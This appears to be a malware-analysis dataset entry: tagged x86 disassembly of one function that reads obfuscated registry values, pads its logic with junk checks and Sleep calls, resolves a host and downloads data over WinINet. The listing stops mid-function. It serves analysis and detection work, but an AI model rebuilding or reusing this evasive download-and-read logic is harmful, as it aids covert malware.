Function at 0x456c60
Capabilities:
Contain obfuscated stackstrings
Create http request
Query or enumerate registry value
Read data from internet
Receive data
Resolve dns

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4690d6
mov eax, dword fs:[0]
push eax
push ecx
sub esp, 0xdb0
mov eax, dword [0x47e0b0]
xor eax, ebp
mov dword [ebp - 0x14], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x10], esp
mov dword [ebp - 4], 0
mov byte [ebp - 4], 1
call fcn.00403820
jmp 0x456cbb
mov dword [ebp - 4], 0
push 0x46ae07
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov dword [ebp - 0xc28], eax
mov byte [ebp - 4], 3
push 0x46ae1d
lea ecx, [ebp - 0x458]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov dword [ebp - 0xc2c], eax
mov byte [ebp - 4], 4
push 0x46ae1e
lea ecx, [ebp - 0x434]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov dword [ebp - 0xc30], eax
mov byte [ebp - 4], 5
call fcn.004037c0
mov dword [ebp - 0xc34], eax
cmp dword [ebp - 0xc34], 0
je 0x456d31
call fcn.004299d0
call fcn.0041ddf0
lea eax, [ebp - 0x438]
push eax
push 1
push 0
lea ecx, [ebp - 0x8e8]
push ecx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x8cc], esp
push 0x41
push 0x4730b0
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int_]
mov dword [ebp - 0xc38], eax
lea ecx, [ebp - 0x8c8]
call fcn.004024a0
mov dword [ebp - 0xc3c], eax
mov edx, dword [ebp - 0xc3c]
mov dword [ebp - 0xc40], edx
mov byte [ebp - 4], 6
mov ecx, dword [ebp - 0xc40]
call fcn.00402730
mov dword [ebp - 0xc44], eax
mov eax, dword [ebp - 0xc44]
mov dword [ebp - 0xc48], eax
mov byte [ebp - 4], 7
mov ecx, dword [ebp - 0xc48]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xc4c], eax
mov ecx, dword [ebp - 0xc4c]
push ecx
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0x8a5], al
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x8e8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x8c8]
call fcn.0044aa80
movzx edx, byte [ebp - 0x8a5]
test edx, edx
je 0x457020
lea eax, [ebp - 0x928]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x90c], esp
push 0x10
push 0x4730f4
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int_]
mov dword [ebp - 0xc50], eax
lea ecx, [ebp - 0x908]
call fcn.004024a0
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0xc54]
mov dword [ebp - 0xc58], ecx
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0xc58]
call fcn.00402b40
mov dword [ebp - 0xc5c], eax
mov edx, dword [ebp - 0xc5c]
mov dword [ebp - 0xc60], edx
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0xc60]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xc64], eax
mov eax, dword [ebp - 0xc64]
push eax
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov byte [ebp - 4], 8
lea ecx, [ebp - 0x928]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x908]
call fcn.0044aa80
lea ecx, [ebp - 0x968]
push ecx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x94c], esp
push 0x10
push 0x473108
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int_]
mov dword [ebp - 0xc68], eax
lea ecx, [ebp - 0x948]
call fcn.004024a0
mov dword [ebp - 0xc6c], eax
mov edx, dword [ebp - 0xc6c]
mov dword [ebp - 0xc70], edx
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0xc70]
call fcn.00402730
mov dword [ebp - 0xc74], eax
mov eax, dword [ebp - 0xc74]
mov dword [ebp - 0xc78], eax
mov byte [ebp - 4], 0xb
mov ecx, dword [ebp - 0xc78]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xc7c], eax
mov ecx, dword [ebp - 0xc7c]
push ecx
lea ecx, [ebp - 0x458]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x968]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x948]
call fcn.0044aa80
lea edx, [ebp - 0x9a8]
push edx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x98c], esp
push 8
push 0x47311c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int_]
mov dword [ebp - 0xc80], eax
lea ecx, [ebp - 0x988]
call fcn.004024a0
mov dword [ebp - 0xc84], eax
mov eax, dword [ebp - 0xc84]
mov dword [ebp - 0xc88], eax
mov byte [ebp - 4], 0xc
mov ecx, dword [ebp - 0xc88]
call fcn.00402730
mov dword [ebp - 0xc8c], eax
mov ecx, dword [ebp - 0xc8c]
mov dword [ebp - 0xc90], ecx
mov byte [ebp - 4], 0xd
mov ecx, dword [ebp - 0xc90]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xc94], eax
mov edx, dword [ebp - 0xc94]
push edx
lea ecx, [ebp - 0x434]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x9a8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x988]
call fcn.0044aa80
call fcn.004030d0
mov dword [ebp - 0xc98], eax
cmp dword [ebp - 0xc98], 0
je 0x45701b
call fcn.00402210
jmp 0x4574ab
push 0xa2
push 0xe2
push 0xbd
call fcn.004062d0
add esp, 0xc
mov dword [ebp - 0xc9c], eax
cmp dword [ebp - 0xc9c], 0
je 0x457097
call fcn.00403f10
mov dword [ebp - 0xca0], eax
push 0xa2
push 0xe2
push 0xbd
call fcn.004062d0
add esp, 0xc
mov dword [ebp - 0xca4], eax
mov eax, dword [ebp - 0xca0]
cdq
idiv dword [ebp - 0xca4]
cmp eax, 0x241
jle 0x457097
push 0x241
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.00417df0
call fcn.00429b00
mov dword [ebp - 0x8a4], 0x400
push 0x400
push 0
lea eax, [ebp - 0x8a0]
push eax
call sub.MSVCR90.dll_memset
add esp, 0xc
push 0xfa
call fcn.00405900
add esp, 4
mov dword [ebp - 0xca8], eax
cmp dword [ebp - 0xca8], 0
je 0x45711a
call fcn.004069a0
mov dword [ebp - 0xcac], eax
push 0xfa
call fcn.00405900
add esp, 4
mov dword [ebp - 0xcb0], eax
mov eax, dword [ebp - 0xcac]
cdq
idiv dword [ebp - 0xcb0]
cmp eax, 0x179
jle 0x45711a
push 0x179
call dword [sym.imp.KERNEL32.dll_Sleep]
call fcn.0041da30
call fcn.0041da30
lea ecx, [ebp - 0x8a4]
push ecx
lea edx, [ebp - 0x8a0]
push edx
push 0
push 0
lea eax, [ebp - 0x9ec]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x9d0], esp
push 0x12
push str._a9___sZ__
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int_]
mov dword [ebp - 0xcb4], eax
lea ecx, [ebp - 0x9cc]
call fcn.004024a0
mov dword [ebp - 0xcb8], eax
mov ecx, dword [ebp - 0xcb8]
mov dword [ebp - 0xcbc], ecx
mov byte [ebp - 4], 0xe
mov ecx, dword [ebp - 0xcbc]
call fcn.00402650
mov dword [ebp - 0xcc0], eax
mov edx, dword [ebp - 0xcc0]
mov dword [ebp - 0xcc4], edx
mov byte [ebp - 4], 0xf
mov ecx, dword [ebp - 0xcc4]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xcc8], eax
mov eax, dword [ebp - 0xcc8]
push eax
mov ecx, dword [ebp - 0x438]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x9a9], al
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x9ec]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x9cc]
call fcn.0044aa80
movzx edx, byte [ebp - 0x9a9]
test edx, edx
je 0x45722f
lea eax, [ebp - 0x8a0]
push eax
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
call fcn.004037c0
mov dword [ebp - 0xccc], eax
mov ecx, dword [ebp - 0xccc]
mov dword [ebp - 0xcd0], ecx
cmp dword [ebp - 0xcd0], 1
je 0x457225
jmp 0x45722f
call fcn.00429c30
call fcn.00412fa0
mov dword [ebp - 0x8a4], 0x400
push 0x400
push 0
lea edx, [ebp - 0x8a0]
push edx
call sub.MSVCR90.dll_memset
add esp, 0xc
lea eax, [ebp - 0x8a4]
push eax
lea ecx, [ebp - 0x8a0]
push ecx
push 0
push 0
lea edx, [ebp - 0xa30]
push edx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xa14], esp
push 0x12
push 0x47313c
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int_]
mov dword [ebp - 0xcd4], eax
lea ecx, [ebp - 0xa10]
call fcn.004024a0
mov dword [ebp - 0xcd8], eax
mov eax, dword [ebp - 0xcd8]
mov dword [ebp - 0xcdc], eax
mov byte [ebp - 4], 0x10
mov ecx, dword [ebp - 0xcdc]
call fcn.00402910
mov dword [ebp - 0xce0], eax
mov ecx, dword [ebp - 0xce0]
mov dword [ebp - 0xce4], ecx
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0xce4]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xce8], eax
mov edx, dword [ebp - 0xce8]
push edx
mov eax, dword [ebp - 0x438]
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0x9ed], al
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0xa30]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xa10]
call fcn.0044aa80
movzx ecx, byte [ebp - 0x9ed]
test ecx, ecx
je 0x457364
lea edx, [ebp - 0x8a0]
push edx
lea ecx, [ebp - 0x458]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
call fcn.00405120
mov dword [ebp - 0xcec], eax
mov eax, dword [ebp - 0xcec]
mov dword [ebp - 0xcf0], eax
cmp dword [ebp - 0xcf0], 1
je 0x45735a
jmp 0x457364
call fcn.00429ca0
call fcn.00409900
mov dword [ebp - 0x8a4], 0x400
push 0x400
push 0
lea ecx, [ebp - 0x8a0]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
lea edx, [ebp - 0x8a4]
push edx
lea eax, [ebp - 0x8a0]
push eax
push 0
push 0
lea ecx, [ebp - 0xa74]
push ecx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xa58], esp
push 0x12
push 0x473150
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int_]
mov dword [ebp - 0xcf4], eax
lea ecx, [ebp - 0xa54]
call fcn.004024a0
mov dword [ebp - 0xcf8], eax
mov edx, dword [ebp - 0xcf8]
mov dword [ebp - 0xcfc], edx
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0xcfc]
call fcn.00402730
mov dword [ebp - 0xd00], eax
mov eax, dword [ebp - 0xd00]
mov dword [ebp - 0xd04], eax
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0xd04]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xd08], eax
mov ecx, dword [ebp - 0xd08]
push ecx
mov edx, dword [ebp - 0x438]
push edx
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
neg eax
sbb eax, eax
add eax, 1
mov byte [ebp - 0xa31], al
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xa74]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 5
lea ecx, [ebp - 0xa54]
call fcn.0044aa80
movzx eax, byte [ebp - 0xa31]
test eax, eax
je 0x45746d
lea ecx, [ebp - 0x8a0]
push ecx
lea ecx, [ebp - 0x434]
call dword [sym.imp.MSVCP90.dll_public:_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char______thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::operator_char_const__]
mov edx, dword [ebp - 0x438]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0xe
push 0xdf
call fcn.00404a70
add esp, 8
mov dword [ebp - 0xd0c], eax
cmp dword [ebp - 0xd0c], 0xc32
jne 0x45749d
jmp 0x4574ab
call fcn.0041ddf0
call fcn.00429de0
jmp 0x4574ab
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xd10], eax
mov eax, dword [ebp - 0xd10]
push eax
call sub.WS2_32.dll_gethostbyname
mov dword [ebp - 0x478], eax
mov byte [ebp - 4], 0x14
call fcn.00405120
jmp 0x4574f1
mov dword [ebp - 4], 5
cmp dword [ebp - 0x478], 0
jne 0x457543
mov byte [ebp - 0xa75], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x434]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x458]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, byte [ebp - 0xa75]
jmp 0x457d79
mov dword [ebp - 0x4a0], 0
mov dword [ebp - 0x49c], 0
push 0x88
push 0xd7
call fcn.00403600
add esp, 8
mov dword [ebp - 0xd14], eax
cmp dword [ebp - 0xd14], 0x44
jne 0x457591
call fcn.00406390
mov dword [ebp - 0xd18], eax
cmp dword [ebp - 0xd18], 0
je 0x457591
call fcn.00417df0
push 0
push 0
push 0
push 0
push 0x46ae1f
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [ebp - 0x4a0], eax
cmp dword [ebp - 0x4a0], 0
jne 0x4575f5
mov byte [ebp - 0xa76], 0
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x434]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x458]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, byte [ebp - 0xa76]
jmp 0x457d79
lea ecx, [ebp - 0x434]
push ecx
push 0x473164
lea edx, [ebp - 0x458]
push edx
lea eax, [ebp - 0xab8]
push eax
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xa9c], esp
push 7
push str...__ik
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int_]
mov dword [ebp - 0xd1c], eax
lea ecx, [ebp - 0xa98]
call fcn.004024a0
mov dword [ebp - 0xd20], eax
mov ecx, dword [ebp - 0xd20]
mov dword [ebp - 0xd24], ecx
mov byte [ebp - 4], 0x16
mov ecx, dword [ebp - 0xd24]
call fcn.00402650
mov dword [ebp - 0xd28], eax
mov edx, dword [ebp - 0xd28]
mov dword [ebp - 0xd2c], edx
mov byte [ebp - 4], 0x17
mov ecx, dword [ebp - 0xd2c]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xd30], eax
mov eax, dword [ebp - 0xd30]
push eax
lea ecx, [ebp - 0xad4]
push ecx
call dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___char_const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 0xc
mov dword [ebp - 0xd34], eax
mov edx, dword [ebp - 0xd34]
mov dword [ebp - 0xd38], edx
mov byte [ebp - 4], 0x18
mov eax, dword [ebp - 0xd38]
push eax
lea ecx, [ebp - 0xaf0]
push ecx
call dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___char_const__]
add esp, 0xc
mov dword [ebp - 0xd3c], eax
mov edx, dword [ebp - 0xd3c]
mov dword [ebp - 0xd40], edx
mov byte [ebp - 4], 0x19
mov eax, dword [ebp - 0xd40]
push eax
lea ecx, [ebp - 0x498]
push ecx
call dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 0xc
mov dword [ebp - 0xd44], eax
mov byte [ebp - 4], 0x1b
lea ecx, [ebp - 0xaf0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xad4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0x1d
lea ecx, [ebp - 0xab8]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0x1e
lea ecx, [ebp - 0xa98]
call fcn.0044aa80
push 0x87
push 0x16
push 0x23
call fcn.004062d0
add esp, 0xc
mov dword [ebp - 0xd48], eax
mov edx, dword [ebp - 0xd48]
mov dword [ebp - 0xd4c], edx
cmp dword [ebp - 0xd4c], 0x9d
je 0x457768
jmp 0x45776a
jmp 0x457774
call fcn.0041da30
call fcn.0042a030
lea ecx, [ebp - 0x498]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xd50], eax
push 0
push 0x84003000
push 0
push 0x46ae5a
mov eax, dword [ebp - 0xd50]
push eax
mov ecx, dword [ebp - 0x4a0]
push ecx
call dword [sym.imp.WININET.dll_InternetOpenUrlA]
mov dword [ebp - 0x49c], eax
cmp dword [ebp - 0x49c], 0
jne 0x457841
lea edx, [ebp - 0x49c]
push edx
lea eax, [ebp - 0x4a0]
push eax
call fcn.00451fc0
add esp, 8
mov byte [ebp - 0xaf1], 0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x498]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x434]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x458]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, byte [ebp - 0xaf1]
jmp 0x457d79
mov byte [ebp - 0x418], 0
push 0x3ff
push 0
lea ecx, [ebp - 0x417]
push ecx
call sub.MSVCR90.dll_memset
add esp, 0xc
mov dword [ebp - 0x43c], 0x400
mov dword [ebp - 0x47c], 0
lea edx, [ebp - 0x47c]
push edx
mov eax, dword [ebp - 0x43c]
push eax
lea ecx, [ebp - 0x418]
push ecx
mov edx, dword [ebp - 0x49c]
push edx
call dword [sym.imp.WININET.dll_InternetReadFile]
test eax, eax
jne 0x45795b
lea eax, [ebp - 0x49c]
push eax
lea ecx, [ebp - 0x4a0]
push ecx
call fcn.00451fc0
add esp, 8
call fcn.004011d0
mov dword [ebp - 0xd58], eax
cmp dword [ebp - 0xd58], 0
je 0x4578d0
call fcn.0042a250
call fcn.00412fa0
push 1
push 0x1c
push 0xac
call fcn.004062d0
add esp, 0xc
mov dword [ebp - 0xd5c], eax
cmp dword [ebp - 0xd5c], 0x1d
jne 0x457909
call fcn.00406390
mov dword [ebp - 0xd60], eax
cmp dword [ebp - 0xd60], 0
je 0x457909
call fcn.0042a2e0
mov byte [ebp - 0xaf2], 0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x498]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x434]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x458]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x474]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov al, byte [ebp - 0xaf2]
jmp 0x457d79
cmp dword [ebp - 0x47c], 2
jb 0x457971
cmp dword [ebp - 0x47c], 0x14
jbe 0x457b9d
push 0x473170
lea ecx, [ebp - 0xb10]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov dword [ebp - 0xd64], eax
mov edx, dword [ebp - 0xd64]
mov dword [ebp - 0xd68], edx
mov byte [ebp - 4], 0x1f
mov eax, dword [ebp - 0xd68]
push eax
lea ecx, [ebp - 0x418]
push ecx
lea ecx, [ebp - 0xb2c]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov dword [ebp - 0xd6c], eax
mov edx, dword [ebp - 0xd6c]
mov dword [ebp - 0xd70], edx
mov byte [ebp - 4], 0x20
mov eax, dword [ebp - 0xd70]
push eax
lea ecx, [ebp - 0xb88]
push ecx
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0xb6c], esp
push 0x26
push 0x473174
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const___unsigned_int_]
mov dword [ebp - 0xd74], eax
lea ecx, [ebp - 0xb68]
call fcn.004024a0
mov dword [ebp - 0xd78], eax
mov edx, dword [ebp - 0xd78]
mov dword [ebp - 0xd7c], edx
mov byte [ebp - 4], 0x21
mov ecx, dword [ebp - 0xd7c]
call fcn.00402730
mov dword [ebp - 0xd80], eax
mov eax, dword [ebp - 0xd80]
mov dword [ebp - 0xd84], eax
mov byte [ebp - 4], 0x22
mov ecx, dword [ebp - 0xd84]
call dword [sym.imp.MSVCP90.dll_public:_char_const____thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::c_str_void_const]
mov dword [ebp - 0xd88], eax
mov ecx, dword [ebp - 0xd88]
push ecx
lea ecx, [ebp - 0xb48]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::constructor_char_const__]
mov dword [ebp - 0xd8c], eax
mov edx, dword [ebp - 0xd8c]
mov dword [ebp - 0xd90], edx
mov byte [ebp - 4], 0x23
mov eax, dword [ebp - 0xd90]
push eax
lea ecx, [ebp - 0xba4]
push ecx
call dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 0xc
mov dword [ebp - 0xd94], eax
mov edx, dword [ebp - 0xd94]
mov dword [ebp - 0xd98], edx
mov byte [ebp - 4], 0x24
mov eax, dword [ebp - 0xd98]
push eax
lea ecx, [ebp - 0xbc0]
push ecx
call dword [sym.imp.MSVCP90.dll_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char_____cdecl_std::operator_char__struct_std::char_traits_char___class_std::allocator_char___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
add esp, 0xc
mov dword [ebp - 0xd9c], eax
mov edx, dword [ebp - 0xd9c]
mov dword [ebp - 0xda0], edx
mov byte [ebp - 4], 0x25
mov eax, dword [ebp - 0xda0]
push eax
mov ecx, 0x47e2cc
call fcn.00458f10
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xbc0]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0xba4]
call dword [sym.imp.MSVCP90.dll_public:_void___thiscall_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char__::destructor_void_]
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0xb48]
